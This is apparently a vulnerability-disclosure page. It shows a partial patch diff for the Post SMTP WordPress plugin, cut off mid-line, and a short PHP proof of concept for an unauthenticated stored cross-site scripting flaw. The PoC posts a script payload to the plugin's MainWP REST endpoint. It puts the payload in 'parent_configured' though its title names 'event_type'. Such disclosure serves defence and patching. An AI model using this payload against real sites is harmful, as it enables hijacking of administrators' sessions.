+		// Try to obtain a fresh Gmail OAuth URL (with a fresh nonce) at runtime.
+		$auth_url = '';
+		if ( function_exists( 'post_smtp_get_gmail_auth_url' ) ) {
+			$auth_url = post_smtp_get_gmail_auth_url();
+		}
+
+		// Fallback to the stored option if the runtime fetch failed.
+		if ( empty( $auth_url ) ) {
+			$auth_url = get_option( 'post_smtp_gmail_auth_url' );
+		}
+
 		$post_smtp_pro_options = get_option( 'post_smtp_pro', [] );
 		$bonus_extensions = isset( $post_smtp_pro_options['extensions'] ) ? $post_smtp_pro_options['extensions'] : array();
 		$gmail_oneclick_enabled = in_array( 'gmail-oneclick', $bonus_extensions );
@@ -570,7 +581,7 @@
 		// Determine whether to hide the entire Gmail auth section
 		$hide_style = $gmail_oneclick_enabled ? '' : 'style="display:none;"';

-		$helping_text =  "<p>By signing in with Google, you can send emails using different 'From' addresses. To do this, disable the 'Force From Email' setting and use your registered aliases as the 'From' address across your WordPress site.</p> <p>Removing the OAuth connection will give you the ability to redo the OAuth connection or link to another Google account.</p>";
+		$helping_text =  "<p>Before proceeding, you’ll need to authorize this plugin to send emails using the Gmail API. This <a href="https://postmansmtp.com/docs/mailers/google-workspace-gmail-one-click-setup/" target='_blank'>step-by-step guide</a> will walk you through the entire process.</p>";

 		echo '<div id="ps-gmail-auth-buttons" ' . $hide_style . '>';

--- a/post-smtp/Postman/Postman-Mail/PostmanSweegoTransport.php
+++ b/post-smtp/Postman/Postman-Mail/PostmanSweegoTransport.php
@@ -83,7 +83,7 @@
         add_settings_field('sweego_api_key', __('API Key', 'post-smtp'), array($this, 'sweego_api_key_callback'), self::SWEEGO_AUTH_OPTIONS, self::SWEEGO_AUTH_SECTION);
     }
     public function printSweegoAuthSectionInfo() {
-        printf('<p id="wizard_sweego_auth_help">%s</p>', sprintf(__('Enter your Sweego API key and endpoint below.', 'post-smtp')));
+        printf('<p id="wizard_sweego_auth_help">%s</p>', sprintf(__('Enter your Sweego <a href="https://app.sweego.io/login" target="_blank">API key</a> and endpoint below.', 'post-smtp')));
     }
     public function sweego_api_key_callback() {
         printf('<input type="password" autocomplete="off" id="sweego_api_key" name="postman_options[sweego_api_key]" value="%s" size="60" class="required ps-input ps-w-75" placeholder="%s"/>', null !== $this->options->getSweegoApiKey() ? esc_attr(PostmanUtils::obfuscatePassword($this->options->getSweegoApiKey())) : '', __('Required', 'post-smtp'));
--- a/post-smtp/Postman/Postman-Send-Test-Email/PostmanSendTestEmailController.php
+++ b/post-smtp/Postman/Postman-Send-Test-Email/PostmanSendTestEmailController.php
@@ -362,21 +362,30 @@
 			'test_mode',
 		) );

-		// Postman API: retrieve the result of sending this message from Postman
+		// Postman API: retrieve the result of sending this message from Postman.
 		$result = apply_filters( 'postman_wp_mail_result', null );
-
+
+		// Normalise result to an array to avoid notices/fatals when no result is available
+		// (for example, when email is sent via a remote MainWP Dashboard site).
+		if ( ! is_array( $result ) ) {
+			$result = array();
+		}
+
+		$time       = isset( $result['time'] ) ? $result['time'] : 0;
+		$transcript = isset( $result['transcript'] ) ? $result['transcript'] : '';
+
 		// post-handling
 		if ( $success ) {
 			$this->logger->debug( 'Test Email delivered to server' );
 			// the message was sent successfully, generate an appropriate message for the user
-			$statusMessage = sprintf( __( 'Your message was delivered (%d ms) to the SMTP server! Congratulations :)', 'post-smtp' ), $result ['time'] );
+			$statusMessage = sprintf( __( 'Your message was delivered (%d ms) to the SMTP server! Congratulations :)', 'post-smtp' ), $time );

 			$this->logger->debug( 'statusmessage: ' . $statusMessage );

 			// compose the JSON response for the caller
 			$response = array(
-				'message' => $statusMessage,
-				'transcript' => $result ['transcript'],
+				'message'     => $statusMessage,
+				'transcript'  => $transcript,
 			);

 			// log the response
@@ -388,16 +397,26 @@
 			// send the JSON response
 			wp_send_json_success( $response );
 		} else {
-			$this->logger->error( 'Test Email NOT delivered to server - ' . $result ['exception']->getCode() );
+
+			$exception_code    = 0;
+			$exception_message = __( 'An unknown error occurred while sending the test email.', 'post-smtp' );
+
+			if ( isset( $result['exception'] ) && $result['exception'] instanceof Exception ) {
+				$exception_code    = $result['exception']->getCode();
+				$exception_message = $result['exception']->getMessage();
+			}
+
+			$this->logger->error( 'Test Email NOT delivered to server - ' . $exception_code );
+
 			// the message was NOT sent successfully, generate an appropriate message for the user
-			$statusMessage = $result ['exception']->getMessage();
+			$statusMessage = $exception_message;

 			$this->logger->debug( 'statusmessage: ' . $statusMessage );

 			// compose the JSON response for the caller
 			$response = array(
-				'message' => $statusMessage,
-				'transcript' => $result ['transcript'],
+				'message'     => $statusMessage,
+				'transcript'  => $transcript,
 			);

 			// log the response
@@ -477,11 +496,6 @@
 			'<html xmlns="http://www.w3.org/1999/xhtml">',
 			'<head>',
 			'<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />',
-			'<style type="text/css" media="all">',
-			'.wporg-notification .im {',
-			'	color: #888;',
-			'} /* undo a GMail-inserted style */',
-			'</style>',
 			'</head>',
 			'<body class="wporg-notification">',
 			'	<div style="style=" width: 600px; margin: 0 auto;">',
--- a/post-smtp/Postman/Postman.php
+++ b/post-smtp/Postman/Postman.php
@@ -244,11 +244,18 @@
 		// register the email transports
 		$this->registerTransports( $this->rootPluginFilenameAndPath );

+
 		// register the setup_admin function on plugins_loaded because we need to call
 		// current_user_can to verify the capability of the current user
 		if ( PostmanUtils::isAdmin() && is_admin() ) {
 			$this->setup_admin();
 		}
+
+		if ( get_option( 'post_smtp_activation_redirect' ) ) {
+			delete_option( 'post_smtp_activation_redirect' );
+			wp_safe_redirect( admin_url( 'admin.php?page=postman/configuration_wizard' ) );
+			exit;
+		}

 	}

@@ -276,6 +283,8 @@
 		require_once 'PostmanInstaller.php';
 		$upgrader = new PostmanInstaller();
 		$upgrader->activatePostman();
+
+		add_option( 'post_smtp_activation_redirect', true );
 	}

 	/**
--- a/post-smtp/Postman/PostmanEmailLogs.php
+++ b/post-smtp/Postman/PostmanEmailLogs.php
@@ -74,8 +74,7 @@
             $header = $log['original_headers'];
             $msg = $log['original_message'];
  			$msg = $this->purify_html( $msg );
-           	echo ( isset ( $header ) && strpos( $header, "text/html" ) ) ? $msg : '' . $msg . '' ;
-
+        	echo ( isset ( $header ) && strpos( $header, "text/html" ) ) ? $msg : '<pre>' . $msg . '</pre>' ;
             die;

         }
@@ -455,8 +454,11 @@
                  */
                 $row = apply_filters( 'ps_email_logs_row', $row );

-                //Escape HTML
+                //Escape HTML for safe output.
                 $row->original_subject = esc_html( $row->original_subject );
+                if ( isset( $row->event_type ) ) {
+                    $row->event_type = esc_html( $row->event_type );
+                }

             }

@@ -678,12 +680,27 @@

 		if( isset( $_POST['action'] ) && $_POST['action'] == 'ps-view-log' ) {

-			$id = sanitize_text_field( $_POST['id'] );
+			$id   = sanitize_text_field( $_POST['id'] );
 			$type = array( sanitize_text_field( $_POST['type'] ) );
 			$type = $type[0] == 'original_message' ? '' : $type;

 			$email_query_log = new PostmanEmailQueryLog();
-			$log = $email_query_log->get_log( $id, $type );
+			$log             = $email_query_log->get_log( $id, $type );
+
+			// When viewing the rendered message (original_message), we still want
+			// reply_to_header available for the desktop popup details table.
+			if ( empty( $type ) && ! isset( $log['reply_to_header'] ) ) {
+				$extra = $email_query_log->get_log(
+					$id,
+					array(
+						'reply_to_header',
+					)
+				);
+
+				if ( is_array( $extra ) && isset( $extra['reply_to_header'] ) ) {
+					$log['reply_to_header'] = $extra['reply_to_header'];
+				}
+			}
             $_log = $log;

             //Escape HTML
--- a/post-smtp/Postman/PostmanUtils.php
+++ b/post-smtp/Postman/PostmanUtils.php
@@ -265,11 +265,19 @@

 	static function deleteLockFile( $tempDirectory = null ) {
 		$path = PostmanUtils::calculateTemporaryLockPath( $tempDirectory );
-		$success = file_exists($path) ? @unlink($path) : true;
-		if ( PostmanUtils::$logger->isTrace() ) {
-			PostmanUtils::$logger->trace( sprintf( 'Deleting file %s : %s', $path, $success ) );
+
+		if ( file_exists( $path ) ) {
+			$success = @unlink( $path );
+			if (PostmanUtils::$logger->isTrace()) {
+				PostmanUtils::$logger->trace( sprintf( 'Deleting file %s : %s', $path, $success ) );
+			}
+			return $success;
+		} else {
+			if (PostmanUtils::$logger->isTrace()) {
+				PostmanUtils::$logger->trace( sprintf( 'Lock file %s does not exist.', $path ) );
+			}
+			return false;
 		}
-		return $success;
 	}
 	static function createLockFile( $tempDirectory = null ) {
 		if ( self::lockFileExists() ) {
--- a/post-smtp/Postman/PostmanWpMail.php
+++ b/post-smtp/Postman/PostmanWpMail.php
@@ -46,44 +46,121 @@
 			// initialize for sending
 			$this->init();

-		// build the message
-		$postmanMessage = $this->processWpMailCall( $to, $subject, $message, $headers, $attachments );
+			// build the message
+			$postmanMessage = $this->processWpMailCall( $to, $subject, $message, $headers, $attachments );

-		// build the email log entry
-		$log = new PostmanEmailLog();
-
-		// Merge forced recipients with original $to for logging
-		$options = PostmanOptions::getInstance();
-		$forcedTo = $options->getForcedToRecipients();
-		$allRecipients = array();
-
-		// Add original recipients
-		if ( is_array( $to ) ) {
-			$allRecipients = array_merge( $allRecipients, $to );
-		} elseif ( ! empty( $to ) ) {
-			// Split comma-separated string into array
-			$allRecipients = array_merge( $allRecipients, array_map( 'trim', explode( ',', $to ) ) );
-		}
-
-		// Add forced recipients if set
-		if ( ! empty( $forcedTo ) ) {
-			// Split comma-separated string into array
-			$forcedRecipients = array_map( 'trim', explode( ',', $forcedTo ) );
-			$allRecipients = array_merge( $allRecipients, $forcedRecipients );
-		}
-
-		// Remove duplicates and empty values, then convert back to comma-separated string
-		$allRecipients = array_unique( array_filter( $allRecipients ) );
-		$log->originalTo = implode( ', ', $allRecipients );
-
-		$log->originalSubject = $subject;
-		$log->originalMessage = $message;
-		$log->originalHeaders = $headers;
+			// build the email log entry
+		//	$log = new PostmanEmailLog();
+
+			// Merge forced recipients with original $to for logging
+			// $options = PostmanOptions::getInstance();
+			// $forcedTo = $options->getForcedToRecipients();
+			// $allRecipients = array();
+
+			// // Add original recipients
+			// if ( is_array( $to ) ) {
+			// 	$allRecipients = array_merge( $allRecipients, $to );
+			// } elseif ( ! empty( $to ) ) {
+			// 	// Split comma-separated string into array
+			// 	$allRecipients = array_merge( $allRecipients, array_map( 'trim', explode( ',', $to ) ) );
+			// }
+
+			// // Add forced recipients if set
+			// if ( ! empty( $forcedTo ) ) {
+			// 	// Split comma-separated string into array
+			// 	$forcedRecipients = array_map( 'trim', explode( ',', $forcedTo ) );
+			// 	$allRecipients = array_merge( $allRecipients, $forcedRecipients );
+			// }
+
+			// // Remove duplicates and empty values, then convert back to comma-separated string
+			// $allRecipients = array_unique( array_filter( $allRecipients ) );
+			// $log->originalTo = implode( ', ', $allRecipients );
+
+			// $log->originalSubject = $subject;
+			// $log->originalMessage = $message;
+			// $log->originalHeaders = $headers;
+
+			/*
+			 * Build the email log entry from the *final* message, after all wp_mail
+			 * filters and header parsing have been applied.
+			 *
+			 * This makes the log reflect what was actually sent to the recipient
+			 * (subject, body, headers, recipients), instead of the raw wp_mail()
+			 * arguments.
+			 */
+			$log = new PostmanEmailLog();
+			$log->originalTo      = $this->format_recipients_for_log( $postmanMessage->getToRecipients() );
+			$log->originalSubject = $postmanMessage->getSubject();
+			$log->originalMessage = $postmanMessage->getBody();
+			$log->originalHeaders = $this->flatten_headers_for_log( $postmanMessage );

 			// send the message and return the result
 			return $this->sendMessage( $postmanMessage, $log );
 		}

+		/**
+		 * Convert PostmanEmailAddress recipients to a string suitable for logging
+		 * and for passing back into wp_mail() when resending.
+		 *
+		 * @param array $recipients Array of PostmanEmailAddress objects.
+		 *
+		 * @return string Comma separated list of recipients in "Name <email>" format.
+		 */
+		private function format_recipients_for_log( $recipients ) {
+			if ( empty( $recipients ) || ! is_array( $recipients ) ) {
+				return '';
+			}
+
+			$emails = array();
+
+			foreach ( $recipients as $recipient ) {
+				if ( $recipient instanceof PostmanEmailAddress ) {
+					$emails[] = $recipient->format();
+				}
+			}
+
+			return implode( ', ', $emails );
+		}
+
+		/**
+		 * Build a wp_mail()-compatible headers string from the PostmanMessage.
+		 *
+		 * Historically we stored the original $headers argument exactly as it was
+		 * passed into wp_mail(). To keep resend behaviour working while still
+		 * reflecting the final email, we reconstruct the headers from the parsed
+		 * PostmanMessage structure.
+		 *
+		 * @param PostmanMessage $message
+		 *
+		 * @return string Header lines separated by "rn".
+		 */
+		private function flatten_headers_for_log( PostmanMessage $message ) {
+			$lines = array();
+
+			// Generic headers collected during parsing (X-*, custom headers, etc).
+			foreach ( (array) $message->getHeaders() as $header ) {
+				if ( isset( $header['name'], $header['content'] ) && '' !== trim( $header['content'] ) ) {
+					$lines[] = trim( $header['name'] ) . ': ' . trim( $header['content'] );
+				}
+			}
+
+			// Explicit Reply-To header if present.
+			if ( $message->getReplyTo() instanceof PostmanEmailAddress ) {
+				$lines[] = 'Reply-To: ' . $message->getReplyTo()->format();
+			}
+
+			// Content-Type + charset.
+			if ( $message->getContentType() ) {
+				$header = 'Content-Type: ' . $message->getContentType();
+				if ( $message->getCharset() ) {
+					$header .= '; charset=' . $message->getCharset();
+				}
+				$lines[] = $header;
+			}
+
+			return implode( "rn", array_unique( $lines ) );
+		}
+
         /**
          * @param PostmanMessage $message
          * @return PostmanMessage
@@ -231,6 +308,10 @@
 			$message->addCc( $options->getForcedCcRecipients() );
 			$message->addBcc( $options->getForcedBccRecipients() );

+			// Ensure originalTo reflects the final list of all "To" recipients,
+			// including any global "To Recipient(s)" configured in Settings.
+			$log->originalTo = $this->format_recipients_for_log( $message->getToRecipients() );
+
 			// apply the WordPress filters
 			// may impact the from address, from email, charset and content-type
 			$message->applyFilters();
--- a/post-smtp/Postman/Wizard/NewWizard.php
+++ b/post-smtp/Postman/Wizard/NewWizard.php
@@ -39,7 +39,9 @@
             'id'            =>  array()
         ),
         'p'             =>  array(),
-        'h3'            =>  array(),
+        'h3'            =>  array(
+            'class'         =>  array(),
+        ),
         'select'        =>  array(
             'name'          =>  array()
         ),
@@ -62,25 +64,29 @@

         $this->socket_sequence = array(
             'gmail_api',
-            'resend_api',
+            'sendgrid_api',
             'sendinblue_api',
+            'postmark_api',
+            'maileroo_api',
             'mailtrap_api',
-            'sendgrid_api',
-            'mailgun_api',
+            'mailersend_api',
+            'emailit_api',
+            'sweego_api',
+            'resend_api',
             'elasticemail_api',
+            'mailgun_api',
+            'smtp2go_api',
             'mandrill_api',
-            'postmark_api',
             'sparkpost_api',
             'mailjet_api',
-            'smtp2go_api',
             'sendpulse_api',
-            'mailersend_api',
-            'emailit_api',
-            'maileroo_api',
-            'sweego_api'

         );

+
+        $this->socket_sequence[] = 'smtp';
+        $this->socket_sequence[] = 'default';
+
         if( !is_plugin_active( 'post-smtp-pro/post-smtp-pro.php' ) ) {

             $this->socket_sequence[] = 'office365_api';
@@ -88,9 +94,6 @@
             $this->socket_sequence[] = 'zohomail_api';

         }
-
-        $this->socket_sequence[] = 'smtp';
-        $this->socket_sequence[] = 'default';

         add_filter( 'post_smtp_legacy_wizard', '__return_false' );
         add_action( 'post_smtp_new_wizard', array( $this, 'load_wizard' ) );
@@ -98,6 +101,8 @@
         add_action( 'wp_ajax_ps-save-wizard', array( $this, 'save_wizard' ) );
         add_action( 'wp_ajax_update_post_smtp_pro_option', array( $this, 'update_post_smtp_pro_option_callback' ) );
         add_action( 'wp_ajax_update_post_smtp_pro_option_office365', array( $this, 'update_post_smtp_pro_option_office365_callback' ) );
+        add_action( 'wp_ajax_ps_get_office365_auth_url', array( $this, 'ajax_get_office365_auth_url' ) );
+        add_action( 'wp_ajax_ps_get_gmail_auth_url', array( $this, 'ajax_get_gmail_auth_url' ) );
         add_action( 'admin_action_zoho_auth_request', array( $this, 'auth_zoho' ) );
         add_action( 'admin_post_remove_oauth_action', array( $this, 'post_smtp_remove_oauth_action' ) );
         add_action( 'admin_init', array( $this, 'handle_gmail_oauth_redirect' ) );
@@ -137,10 +142,15 @@


         <div class="wrap">
-            <div class="ps-wizard">
+            <div class="ps-wizard-top">
                 <div class="ps-logo">
                     <img src="<?php echo esc_attr( POST_SMTP_ASSETS ) . '/images/logos/post-smtp-logo-large.svg'; ?>" width="250px" />
                 </div>
+                <a href="<?php echo esc_url( admin_url( 'admin.php?page=postman' ) ); ?>" class="button ps-back-dashboard">
+                    <?php esc_html_e( 'Back to Dashboard', 'post-smtp' ); ?>
+                </a>
+            </div>
+            <div class="ps-wizard">
                 <div class="ps-wizard-outer <?php echo esc_attr( $socket ); ?>">
                     <div class="ps-wizard-section">
                         <div class="ps-wizard-nav">
@@ -155,11 +165,16 @@
                                     <td class="ps-wizard-text"><?php _e( 'Configure Mailer Settings', 'post-smtp' ) ?></td>
                                     <td class="ps-wizard-edit"><span class="dashicons dashicons-edit" data-step="2"></span></td>
                                 </tr>
-                                <tr class="ps-wizard-step-end ps-in-active-nav">
+                                <tr class="ps-wizard-step-between ps-in-active-nav">
                                     <td class="ps-wizard-circle"><span class="ps-tick dashicons dashicons-yes-alt"><span class="ps-wizard-line"></span></span></td>
                                     <td class="ps-wizard-text"><?php _e( 'Send Test Email', 'post-smtp' ) ?></td>
                                     <td class="ps-wizard-edit"><span class="dashicons dashicons-edit" data-step="3"></span></td>
                                 </tr>
+                                <tr class="ps-wizard-step-end ps-in-active-nav finished">
+                                    <td class="ps-wizard-circle"><span class="ps-tick dashicons dashicons-yes-alt"><span class="ps-wizard-line"></span></span></td>
+                                    <td class="ps-wizard-text"><?php _e( 'Finish', 'post-smtp' ); ?></td>
+                                    <td class="ps-wizard-edit"><span class="dashicons dashicons-edit" data-step="4"></span></td>
+                                </tr>
                             </table>
                         </div>
                         <div class="ps-wizard-pages">
@@ -167,25 +182,26 @@
                                 <?php wp_nonce_field( 'post-smtp', 'security' );  ?>
                                 <div class="ps-wizard-screens-container">
                                     <div class="ps-wizard-step ps-wizard-step-1">
-                                        <p style="width: 70%; margin-bottom: 30px;"><?php echo esc_html__( 'Choose a mailer from the following options.', 'post-smtp' ); ?></p>
+                                        <p style="width: 100%; margin-bottom: 10px;color:#707070"><?php echo esc_html__( 'Choose a mailer from the following options.', 'post-smtp' ); ?></p>
                                         <div class="ps-wizard-sockets">
                                         <?php

                                         $row  = 0;
+                                        $in_pro_row = false;

                                         $transports = array_merge( array_flip( $this->socket_sequence ), $transports );

                                         foreach( $transports as $key => $transport ) {
-
+                                            $class = '';
                                             $urls = array(
-                                                'default'           =>  POST_SMTP_URL . '/Postman/Wizard/assets/images/smtp.png',
-                                                'smtp'              =>  POST_SMTP_URL . '/Postman/Wizard/assets/images/smtp.png',
+                                                'default'           =>  POST_SMTP_URL . '/Postman/Wizard/assets/images/smtp.svg',
+                                                'smtp'              =>  POST_SMTP_URL . '/Postman/Wizard/assets/images/smtp.svg',
                                                 'gmail_api'         =>  POST_SMTP_URL . '/Postman/Wizard/assets/images/gmail.png',
                                                 'mandrill_api'      =>  POST_SMTP_URL . '/Postman/Wizard/assets/images/mandrill.png',
                                                 'sendgrid_api'      =>  POST_SMTP_URL . '/Postman/Wizard/assets/images/sendgrid.png',
                                                 'mailersend_api'    =>  POST_SMTP_URL . '/Postman/Wizard/assets/images/mailersend.png',
                                                 'mailgun_api'       =>  POST_SMTP_URL . '/Postman/Wizard/assets/images/mailgun.png',
-                                                'sendinblue_api'    =>  POST_SMTP_URL . '/Postman/Wizard/assets/images/brevo.png',
+                                                'sendinblue_api'    =>  POST_SMTP_URL . '/Postman/Wizard/assets/images/brevo.svg',
                                                 'mailtrap_api'      =>  POST_SMTP_URL . '/Postman/Wizard/assets/images/mailtrap.png',
                                                 'postmark_api'      =>  POST_SMTP_URL . '/Postman/Wizard/assets/images/postmark.png',
                                                 'sparkpost_api'     =>  POST_SMTP_URL . '/Postman/Wizard/assets/images/sparkpost.png',
@@ -264,18 +280,31 @@

                                             }

-                                            if( $row >= 4 ) {
+                                            // When we hit the first PRO mailer, close the current
+                                            // sockets row and start a dedicated PRO row so all
+                                            // PRO mailers appear together on their own line.
+                                            if ( ! empty( $is_pro ) && ! $in_pro_row ) {
+
+                                                $in_pro_row = true;
+                                                $row = 0;
+                                                ?>
+
+                                                <?php
+
+                                            }
+
+                                            // Regular (non‑PRO) mailers are grouped in rows of 4.
+                                            if( $row >= 4 && empty( $is_pro ) ) {

                                                 $row = 0;

                                                 ?>
-                                                </div>
-                                                <div class="ps-wizard-sockets">
+
                                                 <?php


                                             }
-
+
                                             ?>
                                             <div class="ps-wizard-socket-radio-outer">
                                                 <div class="ps-wizard-socket-radio <?php echo !empty( $is_pro ) ? esc_attr( $is_pro ) . '-outer' : ''; ?>" <?php echo !empty( $is_pro ) ? 'data-url="' . esc_url( $product_url ) . '"' : ''; ?>>
@@ -289,7 +318,11 @@
                                                         <img src="<?php echo esc_url( $url ); ?>">
                                                         <?php if( empty( $is_pro ) ) : ?>
                                                             <div class="ps-wizard-socket-tick-container">
-                                                                <div class="ps-wizard-socket-tick"><span class="dashicons dashicons-yes"></span></div>
+                                                                <div class="ps-wizard-socket-tick">
+                                                                    <svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12" fill="none">
+                                                                    <path d="M6 1C3.245 1 1 3.245 1 6C1 8.755 3.245 11 6 11C8.755 11 11 8.755 11 6C11 3.245 8.755 1 6 1ZM8.39 4.85L5.555 7.685C5.485 7.755 5.39 7.795 5.29 7.795C5.19 7.795 5.095 7.755 5.025 7.685L3.61 6.27C3.465 6.125 3.465 5.885 3.61 5.74C3.755 5.595 3.995 5.595 4.14 5.74L5.29 6.89L7.86 4.32C8.005 4.175 8.245 4.175 8.39 4.32C8.535 4.465 8.535 4.7 8.39 4.85Z" fill="#214A72"/>
+                                                                    </svg>
+                                                                </div>
                                                             </div>
                                                         <?php endif; ?>
                                                         <h4><?php echo esc_attr( $transport_name ); ?></h4>
@@ -303,21 +336,37 @@
                                         }
                                         ?>
                                         </div>
-                                        <p style="width: 70%; margin-bottom: 30px;">
-                                        <?php echo sprintf(
-                                            '%1$s <i><a href="%2$s">%3$s</a></i>',
-                             

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3090 - Post SMTP <= 3.8.0 - Unauthenticated Stored Cross-Site Scripting via 'event_type'
<?php
$target_url = 'http://target-site.com';

// The vulnerable REST API endpoint
$api_endpoint = '/wp-json/post-smtp/v1/mainwp';

// Payload with JavaScript execution
$payload = '<script>alert(document.domain)</script>';

// Build the request parameters
$post_data = array(
    'action' => 'enable_post_smtp',
    'parent_configured' => $payload,
    'api_key' => 'dummy_key' // Required parameter but validation may be bypassed
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . $api_endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Check response
if ($http_code == 200) {
    echo "Payload sent successfully. Check admin pages for XSS execution.n";
    echo "Response: " . $response . "n";
} else {
    echo "Request failed with HTTP code: " . $http_code . "n";
    echo "Response: " . $response . "n";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School